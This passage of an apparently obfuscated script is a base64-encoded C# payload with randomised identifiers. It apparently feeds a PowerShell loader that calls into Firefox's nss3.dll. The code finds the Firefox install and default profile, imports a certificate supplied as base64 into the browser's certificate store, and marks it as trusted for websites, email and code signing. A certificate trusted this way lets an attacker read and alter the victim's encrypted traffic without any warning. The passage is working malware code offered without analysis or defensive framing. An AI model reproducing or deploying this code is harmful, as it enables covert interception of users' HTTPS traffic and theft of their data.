"KV0KICAgIHByaXZhdGUgc3RydWN0IENlcnRUcnVzdHMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IGlTaXRlOwogICAgICAgIHB1" + "YmxpYyBpbnQgaUVtYWlsOwogICAgICAgIHB1YmxpYyBpbnQgaVNvZnQ7CiAgICB9CgogICAgcHJpdmF0ZSBlbnVtIFNFQ0NlcnRV" + "c2FnZQogICAgewogICAgICAgIGNlcnRVc2FnZVNTTENsaWVudCA9IDAsCiAgICAgICAgY2VydFVzYWdlU1NMU2VydmVyID0gMSwK" + "ICAgICAgICBjZXJ0VXNhZ2VTU0xTZXJ2ZXJXaXRoU3RlcFVwID0gMiwKICAgICAgICBjZXJ0VXNhZ2VTU0xDQSA9IDMsCiAgICAg" + "ICAgY2VydFVzYWdlRW1haWxTaWduZXIgPSA0LAogICAgICAgIGNlcnRVc2FnZUVtYWlsUmVjaXBpZW50ID0gNSwKICAgICAgICBj" + "ZXJ0VXNhZ2VPYmplY3RTaWduZXIgPSA2LAogICAgICAgIGNlcnRVc2FnZVVzZXJDZXJ0SW1wb3J0ID0gNywKICAgICAgICBjZXJ0" + "VXNhZ2VWZXJpZnlDQSA9IDgsCiAgICAgICAgY2VydFVzYWdlUHJvdGVjdGVkT2JqZWN0U2lnbmVyID0gOSwKICAgICAgICBjZXJ0" + "VXNhZ2VTdGF0dXNSZXNwb25kZXIgPSAxMCwKICAgICAgICBjZXJ0VXNhZ2VBbnlDQSA9IDExCiAgICB9CglbVW5tYW5hZ2VkRnVu" + "Y3Rpb25Qb2ludGVyKENhbGxpbmdDb252ZW50aW9uLkNkZWNsKV0KICAgIHByaXZhdGUgZGVsZWdhdGUgaW50IFNBSFFPalNLSVF1" + "cWF1dShzdHJpbmcgc0NvbmZpZ0Rpciwgc3RyaW5nIGNlcnRQcmVmaXgsIHN0cmluZyBrZXlQcmVmaXgsIHN0cmluZyBzZWNNb2RO" + "YW1lLCB1aW50IGZsYWdzKTsKCiAgICBwcml2YXRlIGludCBqTXF2TnJkc2pMdnYoc3RyaW5nIHNDb25maWdEaXIsIHN0cmluZyBj" + "ZXJ0UHJlZml4LCBzdHJpbmcga2V5UHJlZml4LCBzdHJpbmcgc2VjTW9kTmFtZSwgdWludCBmbGFncykKICAgIHsKICAgICAgICBJ" + "bnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyh4SGtkekRqcXFGTywgIk5TU19Jbml0aWFsaXplIik7CiAgICAgICAgU0FIUU9q" + "U0tJUXVxYXV1IHB0ciA9IChTQUhRT2pTS0lRdXFhdXUpTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcihwUHJv" + "YywgdHlwZW9mKFNBSFFPalNLSVF1cWF1dSkpOwogICAgICAgIHJldHVybiBwdHIoc0NvbmZpZ0RpciwgY2VydFByZWZpeCwga2V5" + "UHJlZml4LCBzZWNNb2ROYW1lLCBmbGFncyk7CiAgICB9CgogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29u" + "dmVudGlvbi5DZGVjbCldCiAgICBwcml2YXRlIGRlbGVnYXRlIEludFB0ciBOSVlwUENqQ0J4RmZCQygpOwogICAgcHJpdmF0ZSBJ" + "bnRQdHIgQ05kR3pSWW9veigpCiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3MoeEhrZHpEanFxRk8s" + "ICJDRVJUX0dldERlZmF1bHRDZXJ0REIiKTsKICAgICAgICBOSVlwUENqQ0J4RmZCQyBwdHIgPSAoTklZcFBDakNCeEZmQkMpTWFy" + "c2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcihwUHJvYywgdHlwZW9mKE5JWXBQQ2pDQnhGZkJDKSk7CiAgICAgICAg" + "cmV0dXJuIHB0cigpOwogICAgfQoKICAgIFtVbm1hbmFnZWRGdW5jdGlvblBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wp" + "XQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBJbnRQdHIgc1RCQkxBKCk7CiAgICBwcml2YXRlIEludFB0ciBqWUp2cmR0KCkKICAgIHsK" + "ICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyh4SGtkekRqcXFGTywgIk5TU19TaHV0ZG93biIpOwogICAgICAg" + "IHNUQkJMQSBwdHIgPSAoc1RCQkxBKU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIocFByb2MsIHR5cGVvZihz" + "VEJCTEEpKTsKICAgICAgICByZXR1cm4gcHRyKCk7CiAgICB9CgogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5n" + "Q29udmVudGlvbi5DZGVjbCldCiAgICBwcml2YXRlIGRlbGVnYXRlIGludCBteGZ6KEludFB0ciBjZXJ0ZGIsIGludCB1c2FnZSwg" + "dWludCBuY2VydHMsIHJlZiBTRUNJdGVtW10gZGVyQ2VydHMsIHJlZiBJbnRQdHIgcmV0Q2VydHMsIHVpbnQga2VlcENlcnRzLCB1" + "aW50IGNhT25seSwgSW50UHRyIG5pY2tuYW1lKTsKICAgIHByaXZhdGUgaW50IHpBa0hOZmt6eWNrVkJ4bihJbnRQdHIgY2VydGRi" + "LCBpbnQgdXNhZ2UsIHVpbnQgbmNlcnRzLCByZWYgU0VDSXRlbVtdIGRlckNlcnRzLCByZWYgSW50UHRyIHJldENlcnRzLCB1aW50" + "IGtlZXBDZXJ0cywgdWludCBjYU9ubHksIEludFB0ciBuaWNrbmFtZSkKICAgIHsKICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQ" + "cm9jQWRkcmVzcyh4SGtkekRqcXFGTywgIkNFUlRfSW1wb3J0Q2VydHMiKTsKICAgICAgICBteGZ6IHB0ciA9IChteGZ6KU1hcnNo" + "YWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIocFByb2MsIHR5cGVvZihteGZ6KSk7CiAgICAgICAgcmV0dXJuIHB0cihj" + "ZXJ0ZGIsIHVzYWdlLCBuY2VydHMsIHJlZiBkZXJDZXJ0cywgcmVmIHJldENlcnRzLCBrZWVwQ2VydHMsIGNhT25seSwgbmlja25h" + "bWUpOwogICAgfQoKICAgIHByaXZhdGUgZGVsZWdhdGUgaW50IFVKZFhyKEludFB0ciBjZXJ0ZGIsIEludFB0ciBjZXJ0LCByZWYg" + "Q2VydFRydXN0cyB0cnVzdCk7CiAgICBwcml2YXRlIGludCBySmJoUmduVWRKWUgoSW50UHRyIGNlcnRkYiwgSW50UHRyIGNlcnQs" + "IHJlZiBDZXJ0VHJ1c3RzIHRydXN0KQogICAgewogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NBZGRyZXNzKHhIa2R6RGpx" + "cUZPLCAiQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3QiKTsKICAgICAgICBVSmRYciBwdHIgPSAoVUpkWHIpTWFyc2hhbC5HZXREZWxlZ2F0" + "ZUZvckZ1bmN0aW9uUG9pbnRlcihwUHJvYywgdHlwZW9mKFVKZFhyKSk7CiAgICAgICAgcmV0dXJuIHB0cihjZXJ0ZGIsIGNlcnQs" + "IHJlZiB0cnVzdCk7CiAgICB9CgogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCld" + "CiAgICBwdWJsaWMgZGVsZWdhdGUgaW50IEJ4RFZuRWIoSW50UHRyIGNlcnQsIHVpbnQgbmNlcnRzKTsKICAgIHByaXZhdGUgaW50" + "IEdNTW5KZ2l3cVMoSW50UHRyIGNlcnQsIHVpbnQgbmNlcnRzKQogICAgewogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NB" + "ZGRyZXNzKHhIa2R6RGpxcUZPLCAiQ0VSVF9EZXN0cm95Q2VydEFycmF5Iik7CiAgICAgICAgQnhEVm5FYiBwdHIgPSAoQnhEVm5F" + "YilNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YoQnhEVm5FYikpOwogICAgICAgIHJl" + "dHVybiBwdHIoY2VydCwgbmNlcnRzKTsKICAgIH0KCglwcml2YXRlIEludFB0ciB4SGtkekRqcXFGTyA9IEludFB0ci5aZXJvOwoK" + "CXB1YmxpYyBCb29sZWFuIHlYS1ZETmxOcGxWenJhRihTdHJpbmcgc0NlcnQpewogICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRl" + "TGluZShTdHJpbmcuRm9ybWF0KCJWdnZsdVZZdkNWSFpjS0ogU3RhcnQuIFByb2Nlc3MgezB9LWJpdCIsSW50UHRyLlNpemUgKiA4" + "KSk7CgkJU3RyaW5nIHNQcm9maWxlID0gR2V0UHJvZmlsZSgpOwogICAgICAgIGlmIChTdHJpbmcuSXNOdWxsT3JFbXB0eShzUHJv" + "ZmlsZSkpCiAgICAgICAgewogICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlByb2ZpbGUgbm90IGZvdW5kIik7" + "CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJQcm9m" + "aWxlIHBhdGg9IitzUHJvZmlsZSk7CiAgICAgICAgYnl0ZVtdIGJDZXJ0ID0gR2V0Q2VydEFzQnl0ZUFycmF5KHNDZXJ0KTsKICAg" + "ICAgICBJbnRQdHIgaXBDZXJ0ID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoYkNlcnQuTGVuZ3RoKTsKICAgICAgICBTeXN0ZW0uQ29u" + "c29sZS5Xcml0ZUxpbmUoIlVucGFjayBjZXJ0IE9LIik7CgkJdHJ5CiAgICAgICAgewogICAgICAgICAgICBEaXJlY3RvcnlJbmZv" + "IGRpSW5zdGFsbFBhdGggPSBHZXRJUCgpOwogICAgICAgICAgICBpZiAoZGlJbnN0YWxsUGF0aCA9PSBudWxsKQogICAgICAgICAg" + "ICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoImRpSW5zdGFsbFBhdGggaXMgbnVsbCIpOwogICAg" + "ICAgICAgICAgICAgU3RyaW5nIGZmZXhlID0gQCJDOlxQcm9ncmFtIEZpbGVzXE1vemlsbGEgRmlyZWZveFxmaXJlZm94LmV4ZSI7" + "CiAgICAgICAgICAgICAgICBpZiAoRmlsZS5FeGlzdHMoZmZleGUpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAg" + "ICAgIGRpSW5zdGFsbFBhdGggPSBuZXcgRGlyZWN0b3J5SW5mbyhQYXRoLkdldERpcmVjdG9yeU5hbWUoZmZleGUpKTsKICAgICAg" + "ICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlBhdGggZm91bmQ6ICIrUGF0aC5HZXREaXJlY3RvcnlOYW1l" + "KGZmZXhlKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAg" + "ICAgICAgICAgICAgZmZleGUgPSBAIkM6XFByb2dyYW0gRmlsZXMgKHg4NilcTW96aWxsYSBGaXJlZm94XGZpcmVmb3guZXhlIjsK" + "ICAgICAgICAgICAgICAgICAgICBpZiAoRmlsZS5FeGlzdHMoZmZleGUpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAg" + "ICAgICAgICAgICAgICAgZGlJbnN0YWxsUGF0aCA9IG5ldyBEaXJlY3RvcnlJbmZvKFBhdGguR2V0RGlyZWN0b3J5TmFtZShmZmV4" + "ZSkpOwogICAgICAgICAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlBhdGggZm91bmQ6ICIrUGF0aC5H" + "ZXREaXJlY3RvcnlOYW1lKGZmZXhlKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAg" + "ICB9CiAgICAgICAgICAgIFN0cmluZyBzQ3VycmVudERpcmVjdG9yeSA9IERpcmVjdG9yeS5HZXRDdXJyZW50RGlyZWN0b3J5KCk7" + "CiAgICAgICAgICAgIERpcmVjdG9yeS5TZXRDdXJyZW50RGlyZWN0b3J5KGRpSW5zdGFsbFBhdGguRnVsbE5hbWUpOwogICAgICAg" + "ICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkluc3RhbGwgcGF0aD0iK2RpSW5zdGFsbFBhdGguRnVsbE5hbWUpOwogICAg" + "ICAgICAgICBmb3JlYWNoKEZpbGVJbmZvIGZpRGxsIGluIGRpSW5zdGFsbFBhdGguR2V0RmlsZXMoIiouZGxsIikpCiAgICAgICAg" + "ICAgIHsKICAgICAgICAgICAgICAgIGlmIChmaURsbC5OYW1lLkVxdWFscygiYnJlYWtwYWRpbmplY3Rvci5kbGwiKSkgY29udGlu" + "dWU7CiAgICAgICAgICAgICAgICB0cnl7CiAgICAgICAgICAgICAgICAgICAgc1ZvR3BZcEwoZmlEbGwuRnVsbE5hbWUpOwogICAg" + "ICAgICAgICAgICAgfWNhdGNoIChFeGNlcHRpb24gZXgpewogICAgICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRl" + "TGluZShTdHJpbmcuRm9ybWF0KCJ7MH0gezF9IHsyfSIsIGV4LlNvdXJjZSwgZXguTWVzc2FnZSwgZXguU3RhY2tUcmFjZSkpOwog" + "ICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHhIa2R6RGpxcUZPID0gc1ZvR3BZcEwoZGlJbnN0YWxs" + "UGF0aC5GdWxsTmFtZSArICJcXG5zczMuZGxsIik7CiAgICAgICAgICAgIGlmICh4SGtkekRqcXFGTy5FcXVhbHMoSW50UHRyLlpl" + "cm8pKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkZpcmVmb3ggaW5zdGFs" + "bCBkaXJlY3Rvcnkgbm90IGZvdW5kIik7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAg" + "ICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJJbml0IGRsbHMgT0siKTsKICAgICAgICAgICAgRGlyZWN0b3J5LlNldEN1" + "cnJlbnREaXJlY3Rvcnkoc0N1cnJlbnREaXJlY3RvcnkpOwogICAgICAgICAgICAvL0luaXQgY2VydAogICAgICAgICAgICBNYXJz" + "aGFsLkNvcHkoYkNlcnQsIDAsIGlwQ2VydCwgYkNlcnQuTGVuZ3RoKTsKICAgICAgICAgICAgU0VDSXRlbSBDZXJ0SXRlbSA9IG5l" + "dyBTRUNJdGVtKCk7CiAgICAgICAgICAgIENlcnRJdGVtLmlUeXBlID0gMzsKICAgICAgICAgICAgQ2VydEl0ZW0uYkRhdGEgPSBp" + "cENlcnQ7CiAgICAgICAgICAgIENlcnRJdGVtLmlEYXRhTGVuID0gKHVpbnQpYkNlcnQuTGVuZ3RoOwogICAgICAgICAgICBTRUNJ" + "dGVtW10gYUNlcnRJdGVtID0gbmV3IFNFQ0l0ZW1bMV07CiAgICAgICAgICAgIGFDZXJ0SXRlbVswXSA9IENlcnRJdGVtOwoKICAg" + "ICAgICAgICAgQ2VydFRydXN0cyBDZXJ0VHJ1c3QgPSBuZXcgQ2VydFRydXN0cygpOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaVNp" + "dGUgPSAweDEwOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaUVtYWlsID0gMHgxMDsKICAgICAgICAgICAgQ2VydFRydXN0LmlTb2Z0" + "ID0gMHgxMDsKICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJJbml0IGNlcnQgT0siKTsKICAgICAgICAgICAg" + "Ly9FbmQgaW5pdCBjZXJ0CiAgICAgICAgICAgIGludCBzdGF0dXMgPSBqTXF2TnJkc2pMdnYoInNxbDoiK3NQcm9maWxlLCAiIiwg" + "IiIsIFNFQ01PRF9EQiwgTlNTX0lOSVRfT1BUSU1JWkVTUEFDRSk7CiAgICAgICAgICAgIGlmIChzdGF0dXMgIT0gR2xQdE5zZ1Vj" + "KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiTlNT" + "X0luaXRSZWFkV3JpdGUgRVJST1IuIFN0YXR1czogMHh7MDpYfTtMYXN0IGVycm9yOiAweHswOlh9Iiwgc3RhdHVzLCBNYXJzaGFs" + "LkdldExhc3RXaW4zMkVycm9yKCkpKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAg" + "ICAgICBJbnRQdHIgYmQgPSBDTmRHelJZb296KCk7CiAgICAgICAgICAgIGlmIChiZCA9PSBJbnRQdHIuWmVybykKICAgICAgICAg" + "ICAgewogICAgICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0dldERlZmF1bHRDZXJ0REIgRmFpbGVk" + "Iik7CiAgICAgICAgICAgICAgICBqWUp2cmR0KCk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0K" + "ICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0dldERlZmF1bHRDZXJ0REIgT0siKTsKICAgICAgICAg" + "ICAgSW50UHRyIENlcnRUb0ltcG9ydCA9IG5ldyBJbnRQdHIoKTsKICAgICAgICAgICAgSW50UHRyW10gYUNlcnRUb0ltcG9ydCA9" + "IG5ldyBJbnRQdHJbMV07CiAgICAgICAgICAgIHN0YXR1cyA9IHpBa0hOZmt6eWNrVkJ4bihiZCwgMTEsIDEsIHJlZiBhQ2VydEl0" + "ZW0sIHJlZiBDZXJ0VG9JbXBvcnQsIDEsIDAsIEludFB0ci5aZXJvKTsKICAgICAgICAgICAgaWYgKHN0YXR1cyAhPSBHbFB0TnNn" + "VWMpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJD" + "RVJUX0ltcG9ydENlcnRzIEVSUk9SLiBTdGF0dXM6IDB4ezA6WH07TGFzdCBlcnJvcjogMHh7MDpYfSIsIHN0YXR1cywgTWFyc2hh" + "bC5HZXRMYXN0V2luMzJFcnJvcigpKSk7CiAgICAgICAgICAgICAgICBqWUp2cmR0KCk7CiAgICAgICAgICAgICAgICByZXR1cm4g" + "ZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0ltcG9ydENlcnRz" + "IE9LIik7CiAgICAgICAgICAgIE1hcnNoYWwuQ29weShDZXJ0VG9JbXBvcnQsIGFDZXJ0VG9JbXBvcnQsIDAsIDEpOwogICAgICAg" + "ICAgICBzdGF0dXMgPSBySmJoUmduVWRKWUgoYmQsIGFDZXJ0VG9JbXBvcnRbMF0sIHJlZiBDZXJ0VHJ1c3QpOwogICAgICAgICAg" + "ICBpZiAoIHN0YXR1cyAhPSBHbFB0TnNnVWMpIAogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5X" + "cml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3QgRVJST1IuIFN0YXR1czogMHh7MDpYfTtMYXN0IGVy" + "cm9yOiAweHswOlh9Iiwgc3RhdHVzLCBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCkpKTsKICAgICAgICAgICAgICAgIGpZSnZy" + "ZHQoKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfTsKICAgICAgICAgICAgU3lzdGVtLkNvbnNv" + "bGUuV3JpdGVMaW5lKCJDRVJUX0NoYW5nZUNlcnRUcnVzdCBPSyIpOwogICAgICAgICAgICBHTU1uSmdpd3FTKENlcnRUb0ltcG9y" + "dCwgMSk7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiQWRkIGNlcnQgT0siKTsKICAgICAgICB9CiAgICAg" + "ICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCl7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0" + "KCJ7MH0gezF9IHsyfSIsIGV4LlNvdXJjZSwgZXguTWVzc2FnZSwgZXguU3RhY2tUcmFjZSkpOwogICAgICAgIH0KICAgICAgICBm" + "aW5hbGx5CiAgICAgICAgewogICAgICAgICAgICBqWUp2cmR0KCk7CiAgICAgICAgfQoJCXJldHVybiB0cnVlOwoJfQoJcHJpdmF0" + "ZSBTdHJpbmcgR2V0UHJvZmlsZSgpCiAgICB7CiAgICAgICAgU3RyaW5nIEZGUHJvZmlsZSA9IFBhdGguQ29tYmluZShFbnZpcm9u" + "bWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJBUFBEQVRBIiksIEAiTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzIik7CiAgICAg" + "ICAgaWYgKERpcmVjdG9yeS5FeGlzdHMoRkZQcm9maWxlKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChEaXJlY3RvcnkuR2V0" + "RGlyZWN0b3JpZXMoRkZQcm9maWxlLCAiKi5kZWZhdWx0IikuTGVuZ3RoID4gMCkKICAgICAgICAgICAgewogICAgICAgICAgICAg" + "ICAgcmV0dXJuIERpcmVjdG9yeS5HZXREaXJlY3RvcmllcyhGRlByb2ZpbGUsICIqLmRlZmF1bHQiKVswXTsKICAgICAgICAgICAg" + "fQogICAgICAgIH0KICAgICAgICByZXR1cm4gIiI7CiAgICB9CglwdWJsaWMgYnl0ZVtdIEdldENlcnRBc0J5dGVBcnJheShTdHJp" + "bmcgc0NlcnQpCiAgICB7CiAgICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gQ29udmVydC5Gcm9tQmFzZTY0" + "U3RyaW5nKHNDZXJ0KTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCl7CiAgICAgICAgICAgIFN5c3RlbS5D" + "b25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJ7MH0gezF9IHsyfSIsIGV4LlNvdXJjZSwgZXguTWVzc2FnZSwgZXguU3Rh" + "Y2tUcmFjZSkpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCXByaXZhdGUgRGlyZWN0b3J5SW5mbyBHZXRJ" + "UCgpCiAgICB7CiAgICAgICAgRGlyZWN0b3J5SW5mbyBmcCA9IG51bGw7CiAgICAgICAgLy8gZ2V0IGZpcmVmb3ggcGF0aCBmcm9t" + "IHJlZ2lzdHJ5CiAgICAgICAgLy8gd2UnbGwgc2VhcmNoIHRoZSAzMmJpdCBpbnN0YWxsIGxvY2F0aW9uCiAgICAgICAgUmVnaXN0" + "cnlLZXkgbG9jYWxNYWNoaW5lMSA9IFJlZ2lzdHJ5LkxvY2FsTWFjaGluZS5PcGVuU3ViS2V5KEAiU09GVFdBUkVcTW96aWxsYVxN" + "b3ppbGxhIEZpcmVmb3giLCBmYWxzZSk7CiAgICAgICAgLy8gYW5kIGxldHMgdHJ5IHRoZSA2NGJpdCBpbnN0YWxsIGxvY2F0aW9u" + "IGp1c3QgaW4gY2FzZQogICAgICAgIFJlZ2lzdHJ5S2V5IGxvY2FsTWFjaGluZTIgPSBSZWdpc3RyeS5Mb2NhbE1hY2hpbmUuT3Bl" + "blN1YktleShAIlNPRlRXQVJFXFdvdzY0MzJOb2RlXE1vemlsbGFcTW96aWxsYSBGaXJlZm94IiwgZmFsc2UpOwoKICAgICAgICBp" + "ZiAobG9jYWxNYWNoaW5lMSAhPSBudWxsKQogICAgICAgIHsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAg" + "ICAgICAgIHN0cmluZ1tdIGluc3RhbGxlZFZlcnNpb25zID0gbG9jYWxNYWNoaW5lMS5HZXRTdWJLZXlOYW1lcygpOwogICAgICAg" + "ICAgICAgICAgLy8gd2UnbGwgdGFrZSB0aGUgZmlyc3QgaW5zdGFsbGVkIHZlcnNpb24sIHBlb3BsZSBub3JtYWxseSBvbmx5IGhh" + "dmUgb25lCiAgICAgICAgICAgICAgICBpZiAoaW5zdGFsbGVkVmVyc2lvbnMuTGVuZ3RoID09IDApCiAgICAgICAgICAgICAgICAg" + "ICAgdGhyb3cgbmV3IEluZGV4T3V0T2ZSYW5nZUV4Y2VwdGlvbigiTm8gaW5zdGFsbHMgb2YgZmlyZWZveCByZWNvcmRlZCBpbiBp" + "dHMga2V5LiIpOwoKICAgICAgICAgICAgICAgIFJlZ2lzdHJ5S2V5IG1haW5JbnN0YWxsID0gbG9jYWxNYWNoaW5lMS5PcGVuU3Vi" + "S2V5KGluc3RhbGxlZFZlcnNpb25zWzBdKTsKCiAgICAgICAgICAgICAgICAvLyBnZXQgaW5zdGFsbCBkaXJlY3RvcnkKICAgICAg" + "ICAgICAgICAgIHN0cmluZyBpbnN0YWxsU3RyaW5nID0gKHN0cmluZyltYWluSW5zdGFsbC5PcGVuU3ViS2V5KCJNYWluIikuR2V0" + "VmFsdWUoIkluc3RhbGwgRGlyZWN0b3J5IiwgbnVsbCk7CgogICAgICAgICAgICAgICAgaWYgKGluc3RhbGxTdHJpbmcgPT0gbnVs" + "bCkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTnVsbFJlZmVyZW5jZUV4Y2VwdGlvbigiSW5zdGFsbCBzdHJpbmcgd2Fz" + "IG51bGwiKTsKCiAgICAgICAgICAgICAgICBmcCA9IG5ldyBEaXJlY3RvcnlJbmZvKGluc3RhbGxTdHJpbmcpOwogICAgICAgICAg" + "ICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5D" + "b25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJ7MH0gezF9IHsyfSIsIGV4LlNvdXJjZSwgZXguTWVzc2FnZSwgZXguU3Rh" + "Y2tUcmFjZSkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2UgaWYgKGxvY2FsTWFjaGluZTIgIT0gbnVsbCkK" + "ICAgICAgICB7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmdbXSBpbnN0YWxsZWRW" + "ZXJzaW9ucyA9IGxvY2FsTWFjaGluZTIuR2V0U3ViS2V5TmFtZXMoKTsKICAgICAgICAgICAgICAgIC8vIHdlJ2xsIHRha2UgdGhl" + "IGZpcnN0IGluc3RhbGxlZCB2ZXJzaW9uLCBwZW9wbGUgbm9ybWFsbHkgb25seSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYg" + "KGluc3RhbGxlZFZlcnNpb25zLkxlbmd0aCA9PSAwKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBJbmRleE91dE9mUmFu" + "Z2VFeGNlcHRpb24oIk5vIGluc3RhbGxzIG9mIGZpcmVmb3ggcmVjb3JkZWQgaW4gaXRzIGtleS4iKTsKCiAgICAgICAgICAgICAg" + "ICBSZWdpc3RyeUtleSBtYWluSW5zdGFsbCA9IGxvY2FsTWFjaGluZTIuT3BlblN1YktleShpbnN0YWxsZWRWZXJzaW9uc1swXSk7" + "CgogICAgICAgICAgICAgICAgLy8gZ2V0IGluc3RhbGwgZGlyZWN0b3J5CiAgICAgICAgICAgICAgICBzdHJpbmcgaW5zdGFsbFN0" + "cmluZyA9IChzdHJpbmcpbWFpbkluc3RhbGwuT3BlblN1YktleSgiTWFpbiIpLkdldFZhbHVlKCJJbnN0YWxsIERpcmVjdG9yeSIs" + "IG51bGwpOwoKICAgICAgICAgICAgICAgIGlmIChpbnN0YWxsU3RyaW5nID09IG51bGwpCiAgICAgICAgICAgICAgICAgICAgdGhy" + "b3cgbmV3IE51bGxSZWZlcmVuY2VFeGNlcHRpb24oIkluc3RhbGwgc3RyaW5nIHdhcyBudWxsIik7CiAgICAgICAgICAgICAgICBm" + "cCA9IG5ldyBEaXJlY3RvcnlJbmZvKGluc3RhbGxTdHJpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNl" + "cHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9y" + "bWF0KCJ7MH0gezF9IHsyfSIsIGV4LlNvdXJjZSwgZXguTWVzc2FnZSwgZXguU3RhY2tUcmFjZSkpOwogICAgICAgICAgICB9CiAg" + "ICAgICAgfWVsc2V7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUmVnaXN0cnkgcmVjb3JkcyBub3QgZm91" + "bmQiKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZwOwogICAgfQp9CiJAOwpbVnZ2bHVWWXZDVkhaY0tKXTo6eVhwV3p6Tnlv" + 